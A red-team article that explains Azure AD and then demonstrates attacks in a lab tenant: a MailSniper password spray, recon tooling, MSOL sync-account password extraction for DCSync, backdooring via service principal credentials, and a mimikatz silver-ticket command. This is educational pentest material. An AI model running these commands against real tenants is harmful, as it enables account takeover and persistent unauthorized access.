Azure AD introduction for red teamers

Azure Active Directory (Azure AD) is Microsoft’s cloud-based identity and access management service. It is more and more used by customers in order to connect their on-premises Active Directory with online services such as Office365, SharePoint, Teams, etc.

The aim of this article is to briefly present Azure AD and to explore the different attacking paths this new cloud environment offers to pentesters and red teamers.


Azure AD Overview

Azure AD serves as an identity management platform for Microsoft Applications, Azure Resources Manager and basically anything else you integrate it with.

Apps Management Overview Source: https://docs.microsoft.com/en-gb/azure/active-directory/manage-apps/what-is-application-management.

Despite the misleading name, Azure AD is not Active Directory in the cloud. However, a parallel between the two solutions can be established:

Azure AD vs on-premises AD Source: https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf

There are many ways to interact with Azure AD:

MSOnline is quite the old version of AzureAD module. However, some features of MSOnline have not been ported to AzureAD module yet so it remains interesting.

  • Azure CLI.
  • APIs: Exchange Provisioning service, Azure AD Graph, Microsoft Graph. The first two are deprecated, as Microsoft pushes to unify all the features of theses APIs in Microsoft Graph.

Roles can be different between PowerShell modules; for example between Get-AzureADDirectoryRole and Get-MsolRole commands.

Azure AD comes with different licenses:

  • Free.
  • Premium P1 (6$ user/month).
  • Premium P2 (9$ user/month).

The free plan is sufficient for testing purposes and offers a lot of features such as user and group management, on-premises directory synchronization, single sign-on across Azure apps, etc. Some advanced administration and security features are only available via the two premium plans though. They will be detailed later in this article.

Roles, permissions and terminology

Azure AD comes up with a lot of new terminologies, which could confuse Active Directory regulars. The highest level of privileges is associated to the Global Admin role, which can administrate anything related with the Azure AD subscription.

The term Company Admin can sometimes be encountered in place of Global Admin but they refer to the same role.

Then, there are dozens of limited administrators roles:

The Application Administrator role is particularly interesting because, in Azure AD, everything is application. The list of all applications can be displayed with the PowerShell command: Get-AzureADApplication.

By default, any user in Azure AD can create new applications and associated Service Principals. A default Office 365 Azure AD has about 200 Service Principals. This will be very handy for an exploitation scenario detailed later in this article.

Since Azure Resource Manager relies on Azure AD for identity management, a privileged user on Azure AD can also access Azure Resource Manager.

Integration with on-premises Active Directory

One of the most interesting aspects of Azure AD is its ability to integrate on-premises Active Directory. Indeed, many organizations use Active Directory Domain Services (AD DS) to authenticate identities associated with users, computers or applications. These services are provided by on-premises appliances. More and more enterprise applications being hosted in the cloud, it is much more efficient, in terms of latency, to implement identity services directly in Azure.

In order to allow Active Directory users to use the same credentials in the on-premises environment and in the cloud, passwords hashes must be synchronized. There are 3 ways to perform synchronization in Azure AD:

  • Password Hash Synchronization (PHS).
  • Pass-through Authentication (PTA).
  • Active Directory Federation Services (ADFS).

In this article, only PHS will be studied, as it is the most common option used by companies.

The following diagram from Microsoft docs provides an overview of the PHS workflow:

Source: https://docs.microsoft.com/fr-fr/azure/active-directory/hybrid/reference-connect-accounts-permissions

Azure AD Connect has to be installed on a server from the Active Directory forest. Password hashes of Active Directory users do not transit over the network. A hash of each password hash is being sent instead.

Two accounts are automatically created by Azure AD Connect:

  • MSOL_deeb213ff4bb in the Active Directory.
  • Sync_SYNC01_deeb213ff4bb in Azure AD.

SYNC01 being the hostname of the on-premises server where Azure AD Connect is installed and deeb213ff4bb, an id, which changes for each environment.

In order to perfom the synchronization, the two accounts require high privileges over both environments. In the second part of this article, a way to compromise an Active Directory domain configured with PHS is shown.

Azure AD security features

Azure AD implements basic security features. For example, it has a default lockout policy of 10 failed attempts, locking out an account for 60 seconds if this threshold is reached. However, more advanced security features are also available, depending on the subscribed license.

Conditional access policies

Conditional access policies are kind of if-then statements occuring when a user tries to access a resource. Access is determined depending on the signals sent by the user. The following diagram from Microsoft documentation should be more explicit:

Source: https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview

Conditional access policies require, at least, a P1 premium license. The following criteria can be used as signals:

  • User or group membership.
  • IP location information.
  • Device used.
  • Application.
  • Real-time and calculated risk detection (part of Azure AD Identity Protection feature, only for P2 licenses).
  • Microsoft Cloud App Security (MCAS).

As an example, here are the commonly applied policies:

  • Requiring multi-factor authentication for users with administrative roles.
  • Requiring multi-factor authentication for Azure management tasks.
  • Blocking sign-ins for users attempting to use legacy authentication protocols.
  • Requiring trusted locations for Azure Multi-Factor Authentication registration.
  • Blocking or granting access from specific locations.
  • Blocking risky sign-in behaviors.
  • Requiring organization-managed devices for specific applications.

To the author's knowledge, there is no way to list configured conditional access policies using PowerShell modules. They are accessible via the Azure portal and are not visible for regular users.

Thankfully, Dirk-Jan Mollema released a great tool named ROADrecon, which manages to parse them using a Microsoft Graph internal API. This tool and the whole ROADtools framework will be presented in the second part of this article.

Identity Protection

The Identity Protection feature offers a supplementary layer of protections to owner of P2 premium licenses.

Relying on the data they acquired from their position in organizations with Azure AD, Microsoft is able to detect risky user behaviors. These users can, then, be treated differently by Conditional Access Policies.

For example, a user can be identified as risky if he uses a password present in a leaked database.

Detection criteria can be found in Microsoft documentation: https://docs.microsoft.com/en-gb/azure/active-directory/identity-protection/overview-identity-protection.

Security Defaults

Azure AD Security Defaults is a package of security settings protecting from common attacks such as password spraying, replay and phishing.

Indeed, with Security Defaults, all users of the Azure tenant are forced to register to the Multi-Factor Authentication service within 14 days. Members of the following sensitive administration groups are required to perform additional authentication every time they sign in:

  • Global administrator
  • SharePoint administrator
  • Exchange administrator
  • Conditional Access administrator
  • Security administrator
  • Helpdesk administrator or password administrator
  • Billing administrator
  • User administrator
  • Authentication administrator

All the legacy authentication protocols are blocked, meaning that clients using IMAP, SMTP or POP3 will be rejected.

Privileged actions, such as managing Azure Resource Manager, will require additional authentication, even if done via Azure PowerShell or Azure CLI.

By default, Security Defaults are not enabled, which is a bit ironic. However, Microsoft announced, in an article, that tenants created after October 22nd, 2019 might have security defaults already enabled. It was not the case of the tenant created for this article.

Password protection for Active Directory

Azure AD offers the possibility to define password policies, which can be enforced on the on-premises Active Directory. This is handled by servers called Azure AD Password Protection Proxy Service and agents deployed on domain controllers.

Source: https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-password-ban-bad-on-premises

That way, custom banned-password lists can be defined in Azure AD and enforced on the on-premises Active Directory. The Identity Protection feature evoked earlier also comes with a pre-defined list of banned passwords.

Logging

Azure AD Portal has a Monitoring section where sign-in attempts and configuration changes are traced. It is possible to send those logs to Azure Logs Analytics, for further treatment, without subscribing to a premium license.

Attacking Azure AD

As the reader may have noticed, Azure AD comes with a lot of security features. The rest of this article will take the attacker's point of view and study what is still possible and what is not, when pentesting an Azure AD environment.

First things first, in order to know if a company uses Azure AD, one simply has to query this URL replacing the company name:

https://login.microsoftonline.com/getuserrealm.srf?login=username@gothamlab.onmicrosoft.com&xml=1

If the NameSpaceType indicates "Managed", then the company is using Azure AD.

With this information, the reconnaissance phase can start. Let's see what can be done in this cloud environment.

Unauthenticated Reconnaissance

The first approach is necessarily unauthenticated, the aim of it being to retrieve a valid account.

The idea is to create a list of potentially valid email addresses for the targeted company. A lot of different tools can be used for this purpose but they will not be detailed here.

Once the list of email addresses constituted, o365creeper (https://github.com/LMGsec/o365creeper) can be used for verifying them.

This part does not leave any trace in Azure AD logs, which is quite interesting from an attacker's point of view.

Password Spraying

Now that a list of existing usernames has been established, the objective is to retrieve the password of at least one account.

What are the chances that nobody, in a whole company, uses a trivial password? From experience, they are pretty low. In addition, it could be interesting to search for the obtained user accounts in leaked password databases.

The password spraying approach has been chosen in order to test all the accounts with a weak, but nonetheless likely password: "Gotham2020".

MailSniper (https://github.com/dafthack/MailSniper) has been used for this purpose:

PS C:\> Import-Module MailSniper.ps1

PS C:\> Invoke-PasswordSprayEWS -ExchHostname outlook.office365.com -UserList gotham-emails.txt -Password Gotham2020

[*] Now spraying the EWS portal at https://outlook.office365.com/EWS/Exchange.asmx

[*] SUCCESS! User:penguin@gothamlab.onmicrosoft.com Password:Gotham2020

It has to be noted that Security Defaults or Conditional Access Policies features prevent such attacks. Moreover, they produce a lot of "Login Failure" logs in Azure AD and are easily recognizable. Users whom password have been discovered this way are very noticeable, thanks to these logs, available in Azure AD Sign-in menu:

Authenticated recon

Let's suppose that valid Azure AD credentials have been found, it is now possible to move on to the authenticated reconnaissance phase.

As explained in the first part of this article, there are many ways to interact with Azure AD. It seems then natural to find many tools capable of performing the reconnaissance work.

o365recon

o365recon (https://github.com/nyxgeek/o365recon) uses the MSOnline PowerShell module in order to gather information. The output of the tool has been voluntarily truncated to keep only the most interesting parts:

PS C:\o365recon-master> Connect-MsolService

PS C:\o365recon-master> powershell -ep bypass .\o365recon.ps1 -outputfile TEST_OUTPUT
Running the -all flag

Retrieving Company Info:

[...]
DirSyncClientMachineName                 : SYNC01
DirSyncClientVersion                     : 1.5.20.0
DirSyncServiceAccount                    : Sync_SYNC01_deeb213ff4bb@gothamlab.onmicrosoft.com
DirectorySynchronizationEnabled          : True
DirectorySynchronizationStatus           : Enabled
DisplayName                              : gotham
InitialDomain                            : gothamlab.onmicrosoft.com
LastDirSyncTime                          : 4/21/2020 10:24:27 AM
LastPasswordSyncTime                     : 4/21/2020 10:24:09 AM
[...]
PasswordSynchronizationEnabled           : True
[...]
UsersPermissionToCreateGroupsEnabled     : True
UsersPermissionToCreateLOBAppsEnabled    : True
UsersPermissionToReadOtherUsersEnabled   : True
UsersPermissionToUserConsentToAppEnabled : True

-------------------------------------------
Retrieving Domain Information:

Name                           Status     Authentication
----                           ------     --------------
gothamlab.mail.onmicrosoft.com Verified   Managed
gothamlab.onmicrosoft.com      Verified   Managed
gotham.lab                     Unverified Managed

-------------------------------------------
Retrieving User List:

UserPrincipalName
-----------------
aymeric.palhiere@gothamlab.onmicrosoft.com
alfred.pennyworth@gothamlab.onmicrosoft.com
james.gordon@gothamlab.onmicrosoft.com
bruce.wayne@gothamlab.onmicrosoft.com
aymeric.palhiere_synacktiv.com#EXT#_aymericpalhieresynAHXYK#EXT#@gothamlab.onmicrosoft.com
Sync_SYNC01_deeb213ff4bb@gothamlab.onmicrosoft.com
penguin@gothamlab.onmicrosoft.com
joker@gothamlab.onmicrosoft.com

-------------------------------------------
Retrieving Group Names:

DisplayName
-----------
DnsUpdateProxy
DnsAdmins
Server Admins

-------------------------------------------
Retrieving Extended Group Information:

DisplayName    Description                GroupType
-----------    -----------                ---------
DnsUpdateProxy DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers).           Security
DnsAdmins      DNS Administrators Group   Security
Server Admins                             Security

-------------------------------------------
Retrieving Group Membership:
DnsUpdateProxy: no group members found
--------
DnsAdmins: no group members found
--------
Server Admins:alfred.pennyworth@gothamlab.onmicrosoft.com
--------

It is possible to retrieve a lot of information about the Azure AD tenant. Its synchronization with an on premises Active Directory can also be confirmed, as well as the hostname of the synchronization server.

The -users_detailed flag can be used in order to query more information about users. If the LastDirSyncTime is empty, it means that the corresponding account only exists in the cloud.

One more interesting thing is that, the id suffixed to the SYNC cloud account will be the same for the MSOL account belonging to the on-premises Active Directory:

Sync_SYNC01_deeb213ff4bb@gothamlab.onmicrosoft.com
==> GOTHAM.LAB\MSOL_deeb213ff4bb

The following Sign-in event appears in Azure AD logs, at the time of the Connect-MsolService:

MSOnline PowerShell module

Using MSOnline as an authenticated user, it is also possible to list Azure AD roles and the members of these roles:

$admins=@()

$roles = Get-MsolRole

foreach ($role in $roles) {
    $roleUsers = Get-MsolRoleMember -RoleObjectId $role.ObjectId

    foreach ($roleUser in $roleUsers) {
        $roleOutput = New-Object -TypeName PSObject
        $roleOutput | Add-Member -MemberType NoteProperty -Name RoleMemberType -Value $roleUser.RoleMemberType
        $roleOutput | Add-Member -MemberType NoteProperty -Name EmailAddress -Value $roleUser.EmailAddress
        $roleOutput | Add-Member -MemberType NoteProperty -Name DisplayName -Value $roleUser.DisplayName
        $roleOutput | Add-Member -MemberType NoteProperty -Name isLicensed -Value $roleUser.isLicensed
        $roleOutput | Add-Member -MemberType NoteProperty -Name RoleName -Value $role.Name

        $admins += $roleOutput
    }
}

$admins | Export-Csv -NoTypeInformation C:\result.csv

PS C:\> type  C:\result.csv
"RoleMemberType","EmailAddress","DisplayName","isLicensed","RoleName"
"User","aymeric.palhiere[...].onmicrosoft.com","aymeric.palhiere@synacktiv.com","True","Company Administrator"
"User","aymeric.palhiere@gothamlab.onmicrosoft.com","Aymeric Palhiere","True","Company Administrator"
"User","Sync_SYNC01_deeb213ff4bb@gothamlab.onmicrosoft.com","On-Premises Directory Synchronization Service Account","True","Directory Synchronization Accounts"

Source: https://gist.github.com/ciphertxt/2036e614edf4bf920796059017fbbc3d

MailSniper

MailSniper (https://github.com/dafthack/MailSniper), already used for the password spraying attack, can also provide interesting information.

By connecting to Outlook Web Access Portal and utilizing the FindPeople method, it is able to gather the list of all email addresses:

PS C:\> Get-GlobalAddressList -ExchHostname outlook.office365.com -UserName penguin@gothamlab.onmicrosoft.com -Password Gotham2020 -OutFile global-address-list.txt

PS C:\> type .\global-address-list.txt

Address
-------
alfred.pennyworth@gothamlab.onmicrosoft.com
AllCompany.8265064449.ykcwgxuo@gothamlab.onmicrosoft.com
aymeric.palhiere@gothamlab.onmicrosoft.com
aymeric.palhiere_synacktiv.com#EXT#_aymericpalhieresynAHXYK#EXT#@gothamlab.onmicrosoft.com
bruce.wayne@gothamlab.onmicrosoft.com
joker@gothamlab.onmicrosoft.com
james.gordon@gothamlab.onmicrosoft.com
penguin@gothamlab.onmicrosoft.com
Sync_SYNC01_deeb213ff4bb@gothamlab.onmicrosoft.com

Connecting to Exchange Service, it is also able to retrieve the Active Directory username corresponding to the given email address:

PS C:\> Get-ADUsernameFromEWS -EmailList gotham-emails.txt -ExchHostname outlook.office365.com -Remote
[*] Trying Exchange version Exchange2010_SP2
[*] Using EWS URL https://outlook.office365.com/EWS/Exchange.asmx
[*] Getting AD usernames for each email address...

[*] alfred.pennyworth@gothamlab.onmicrosoft.com = alfred.pennyworth
[*] bruce.wayne@gothamlab.onmicrosoft.com = bruce.wayne
[*] joker@gothamlab.onmicrosoft.com = joker
[*] james.gordon@gothamlab.onmicrosoft.com = james.gordon
[*] penguin@gothamlab.onmicrosoft.com = penguin

List users with Multi-Factor Authentication

The following MSOnline PowerShell command allows Azure AD administrators to list Azure AD users and the state of their MFA configuration.

PS C:\> Connect-MsolService

PS C:\> Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv

PS C:\> type .\mfaresults.csv
#TYPE Selected.Microsoft.Online.Administration.User
"DisplayName","UserPrincipalName","MFA Status"
"James Gordon","james.gordon@gothamlab.onmicrosoft.com","Enabled"
"Bruce Wayne","bruce.wayne@gothamlab.onmicrosoft.com","Disabled"
[...]

This can be useful when having compromised the domain and trying to access high-value assets, such as the CEO's mailbox. Verifying MFA is disabled on his/her account before connecting to it is usually a good idea.

ROADtools

ROADtools (https://github.com/dirkjanm/ROADtools) is a framework released by Dirk-Jan Mollema (@_dirkjan) for automating requests against Azure AD, using an internal undocumented version of Microsoft Graph API.

ROADrecon is the tool for dealing with authentication and data gathering. It comes with a web GUI for visualizing the dumped data.

PS C:\> roadrecon.exe auth -u penguin@gothamlab.onmicrosoft.com
Password:
Tokens were written to .roadtools_auth

PS C:\> roadrecon.exe dump

PS C:\> roadrecon-gui.exe -debug -d .\roadrecon.db
 * Serving Flask app "roadtools.roadrecon.server" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

The web user interface allows to browse all the data offered by Microsoft Graph API in a very efficient way.

For example, it is possible to list all Azure AD groups and to display the members of theses groups intuitively:

A ROADrecon plugin is also capable of gathering and parsing Conditional Access Policies:

PS C:\> roadrecon plugin policies

The output of this plugin is not yet integrated with web interface. It produces an HTML file named "caps.html". Here is an example policy created for the occasion, as collected by ROADrecon:

Exploiting Password Hash Synchronization (PHS)

This attack is not actually targeting Azure AD but exploiting one of its features in order to escalate privileges on the on-premise Active Directory domain it is synchronized with. Remember Password Hash Synchronization? As explained earlier in this post, a synchronisation account is created by Azure AD Connect on the on-premises Active Directory. Because he is in charge of sending hashes of user password hashes to the cloud, this user has replication privileges on the domain:

This account is capable of replicating every domain users hashes, which makes it a very interesting target for attackers. Well, let's see how we could retrieve its password.

The first step resides in finding the server where Azure AD Connect is installed. Microsoft made the task easy for us, by including the synchronization server name and the corresponding Azure AD tenant to the LDAP description of the MSOL user. It can be queried by any authenticated user on the domain, as such:

$ ldapsearch -H ldap://DC01.GOTHAM.LAB:389 -D "GOTHAM\joker" -w "****" -b "DC=GOTHAM,DC=LAB" '(description=*Azure*)' description
[...]
# MSOL_deeb213ff4bb, Users, gotham.lab
dn: CN=MSOL_deeb213ff4bb,CN=Users,DC=gotham,DC=lab
description: Account created by Microsoft Azure Active Directory Connect with installation identifier deeb213ff4bb47019f657e127eadecea running on computer SYNC01 configured to synchronize to tenant gothamlab.onmicrosoft.com. This account must have directory replication permissions in the local Active Directory and write permission on certain attributes to enable Hybrid Deployment.

Once the server identified, we will need either a local administrator account or ADSync service account, in order to interact with Azure AD Connect database. Indeed, this database stores an encrypted version of the MSOL account password, which can be decrypted with C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll and NT SERVICE\ADSync DPAPI keys.

NT SERVICE\ADSync is a Virtual Account, and thus, does not require any password management. However, virtual accounts own DPAPI keys allowing them to use the Credential Manager. This topic being quite complex, it is recommended to read the following article by Dirk-Jan Mollema, which delves into DPAPI mystical inner working: https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/.

Adam Chester (@_xpn_) wrote an excellent blogpost explaining the whole attack in depth, as well as providing a POC for decrypting this password: https://blog.xpnsec.com/azuread-connect-for-redteam/.

Using the previously mentioned POC (https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c), it is possible to decrypt the password of MSOL user. In this LAB environment, the GOTHAM\bruce.wayne account, which is a local administrator of all the servers, has been used:

The default configuration of Azure AD Connect uses a SQL Server Express database but a fully deployed SQL Server can also be used. In that case, the connection string from the POC must be replaced by the following: "Server=LocalHost;Database=ADSync;Trusted_Connection=True;".

Another interesting tool to mention for this job is adconnectdump, made by Dirk-Jan Mollema (@_dirkjan) (same players shoot again), which allows to dump these credentials via the network: https://github.com/fox-it/adconnectdump.

It is important to note that this technique is rather stealth and is not identified, at the time of the writing, by an up-to-date Windows Defender as a malicious behavior. Having a local administrator account on the server, it would also be possible to retrieve MSOL password in the memory of the lsass.exe process. This operation, however, is way more suspicious and would be easily detected by an experimented blue team.

As an example, I used mimikatz (https://github.com/gentilkiwi/mimikatz) in order to extract MSOL password from lsass memory:

Using the newly obtained MSOL account, it is now possible to perform a DCSync attack and to replicate all domain users password hashes:

It should not be forgotten that, this account is also valid, and highly-privileged, in the cloud.

This scenario is an interesting path toward Domain admin because Azure AD synchronization servers are often less protected than domain controllers, and thus, it should be easier for red teamers to become administrator of these servers.

Backdooring Azure AD

Supposing an Azure AD tenant has been compromised, it could be interesting for an attacker to set up a backdoor, allowing him to come back later. Great news, this can be done quite easily with Azure AD.

As explained earlier in this article, Conditional Access Policies can only be consulted via the portal or the undocumented internal API. This makes it a good candidate for backdooring. Indeed, one can create a policy allowing a specific user to connect without any restriction, thus bypassing the existing ones. The policy creation event would still be logged by Azure AD though.

Another interesting way of backdooring Azure AD is to assign credentials to Service Principals.

Service Principals are accounts linked to applications. In Azure AD, there are lots of applications. There are Microsoft applications and custom applications.

Custom applications can be queried this way:

PS C:\> Connect-AzureAD

PS C:\> Get-AzureADApplication

ObjectId    AppId    DisplayName
--------    -----    -----------
a7320a0d-7e7b-402b-b9f9-a6571a57ba8d 33d0d10f-d3c9-4e23-a55e-d355429fc4e4 joker-app

Service Principals linked with a specific applications can also be queried:

PS C:\> Get-AzureADServicePrincipal -filter "DisplayName eq 'joker-app'"

ObjectId    AppId    DisplayName
--------    -----    -----------
9442c574-6bf1-41f7-9ee6-6122860fda6d 33d0d10f-d3c9-4e23-a55e-d355429fc4e4 joker-app

But there are many more service principals for Microsoft applications:

PS C:\> Get-AzureADServicePrincipal

ObjectId  AppId  DisplayName
--------  -----  -----------
026080ec-0f3f-48e2-88c6-0502f10cbe06 18f36947-75b0-49fb-8d1c-29584a55cac5 Reply-At-Mention
02977fad-8ddc-4d04-8c24-52e4b4a0a79b 48ac35b8-9aa8-4d74-927d-1f4a14a0b239 Skype and Teams Tenant Admin API
037880a7-1ea2-43c5-a81d-5bbbd1e6411c b55b276d-2b09-4ad2-8de5-f09cf24ffba9 Microsoft Teams - Teams And Channels Service
[...]

In Azure AD, any user has the right to create and to register applications. They automatically become the owner of the application. However, assigning high privileges to applications requires the consent from an administrator.

Having compromised a Global Administrator or an Applcation Administrator account, it is possible to add privileges to an application via Azure Portal:

Then, credentials can be added to the associated Service Principals:

PS C:\> Get-AzureADApplication

ObjectId  AppId  DisplayName
--------  -----  -----------
a7320a0d-7e7b-402b-b9f9-a6571a57ba8d 33d0d10f-d3c9-4e23-a55e-d355429fc4e4 joker-app

PS C:\> $service_principal = Get-AzureADServicePrincipal -Filter "DisplayName eq 'joker-app'"

PS C:\> New-AzureADServicePrincipalPasswordCredential -ObjectId $service_principal.ObjectId -EndDate "01-01-2030 12:00:00" -StartDate "04-04-2020 12:00:00" -Value NewInsanePassword

CustomKeyIdentifier :
EndDate             : 1/1/2030 12:00:00 PM
KeyId               :
StartDate           : 4/4/2020 12:00:00 PM
Value               : NewInsanePassword

It is now possible to connect to Azure AD using this Service Principals identity. By the way, Service Principals accounts do not require MFA. For this purpose, Azure PowerShell module has been used, but there are probably better options:

After some tests, it has been concluded that, for using AzureAD PowerShell module with a Service Principal account, it was less painful to authenticate using a certificate. However, the idea is the same, just a bit more time-consuming to setup.

Custom applications sometimes require high privileges. If that is the case and an application administrator account gets compromised by an attacker, he could use this application in order to elevate his privileges. Indeed, application administrators have all privileges over applications and one could, for example, add credentials to the service principal associated with the application, and then use them.

Seamless Single Sign-On (SSO)

It is possible to configure Single Sign-On for Active Directory users to connect to Azure AD without having to re-enter their password.

When the user wants to connect to Azure AD, the Domain Controller provides him a service ticket for Azure AD. Service tickets are encrypted with the password of a computer account named AZUREADSSOACC$, automatically created when enabling this feature.

In order to verify that SSO is properly working, the following configuration has been added to Firefox:

Once this is done, it is possible to connect to any Azure AD application (for example: https://portal.azure.com) without submitting the user's password.

SSO is relying on Kerberos, and thus, has the same flaws. If the AZUREADSSOACC$ is compromised, one is able to create service tickets for impersonating any user with MFA disabled on Azure AD. This technique is also known as Silver Tickets.

Silver tickets can be created using mimikatz. In order to do so, the following parameters are required:

  • Username of the user to impersonate.
  • Domain name.
  • NTLM hash of the AZUREADSSOACC$ account.
  • SID of the user to impersonate.
  • Target service, which is HTTP/aadg.windows.net.nsatc.net.
mimikatz #  kerberos::golden /user:alfred.pennyworth /domain:gotham.lab /rc4:db[...]59 /sid:S-1-5-21-805388781-1469664503-1626361301-1106 /id:1234 /target:aadg.windows.net.nsatc.net /service:HTTP /ptt

This command injecting the Kerberos ticket in the current session, it should be possible to impersonate the targeted user on any Azure AD application.

Final Thoughts

Azure AD comes with a lot of interesting security features, which, if enabled, drastically reduce the company attack surface. However, this article has demonstrated that moving identity management infrastructures to the cloud induced some risks and should be done with special care.

The importance of cloud environments in modern information systems makes them a target of choice for attackers, and thus, requires an even stronger security than for their on-premises counterparts.

References